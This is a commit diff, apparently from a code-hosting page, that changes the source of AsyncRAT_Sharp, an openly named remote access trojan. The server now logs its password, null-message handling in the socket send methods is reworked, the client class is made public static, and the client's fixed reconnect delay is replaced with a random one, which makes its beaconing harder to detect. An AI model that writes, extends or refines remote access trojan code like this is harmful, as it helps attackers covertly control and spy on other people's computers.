Update
This commit is contained in:
parent
41fa966796
commit
29f00e07ad
@ -12,6 +12,7 @@ using AsyncRAT_Sharp.Forms;
|
||||
using AsyncRAT_Sharp.Cryptography;
|
||||
using System.Diagnostics;
|
||||
using System.Net.Sockets;
|
||||
using AsyncRAT_Sharp.Handle_Packet;
|
||||
|
||||
// │ Author : NYAN CAT
|
||||
// │ Name : AsyncRAT // Simple Socket
|
||||
@ -75,6 +76,7 @@ namespace AsyncRAT_Sharp
|
||||
Settings.Port = portsFrm.textPorts.Text;
|
||||
Settings.Password = portsFrm.textPassword.Text;
|
||||
Settings.AES = new Aes256(Settings.Password);
|
||||
new HandleLogs().Addmsg($"Password {Settings.Password}", Color.Green);
|
||||
}
|
||||
#endif
|
||||
|
||||
|
@ -133,12 +133,14 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!ClientSocket.Connected || (byte[])msg == null)
|
||||
if (!ClientSocket.Connected)
|
||||
{
|
||||
Disconnected();
|
||||
return;
|
||||
}
|
||||
|
||||
if ((byte[])msg == null) return;
|
||||
|
||||
byte[] buffer = Settings.AES.Encrypt((byte[])msg);
|
||||
byte[] buffersize = BitConverter.GetBytes(buffer.Length);
|
||||
|
||||
@ -204,7 +206,7 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -36,7 +36,7 @@ namespace Client
|
||||
{
|
||||
if (!ClientSocket.IsConnected)
|
||||
ClientSocket.Reconnect();
|
||||
Thread.Sleep(1500);
|
||||
Thread.Sleep(new Random().Next(5000));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -17,7 +17,7 @@ using System.Text;
|
||||
|
||||
namespace Client.Sockets
|
||||
{
|
||||
class ClientSocket
|
||||
public static class ClientSocket
|
||||
{
|
||||
public static Socket Client { get; set; }
|
||||
private static byte[] Buffer { get; set; }
|
||||
@ -147,12 +147,14 @@ namespace Client.Sockets
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!Client.Connected || !IsConnected || msg == null)
|
||||
if (!Client.Connected || !IsConnected)
|
||||
{
|
||||
IsConnected = false;
|
||||
return;
|
||||
}
|
||||
|
||||
if (msg == null) return;
|
||||
|
||||
byte[] buffer = Settings.aes256.Encrypt(msg);
|
||||
byte[] buffersize = BitConverter.GetBytes(buffer.Length);
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user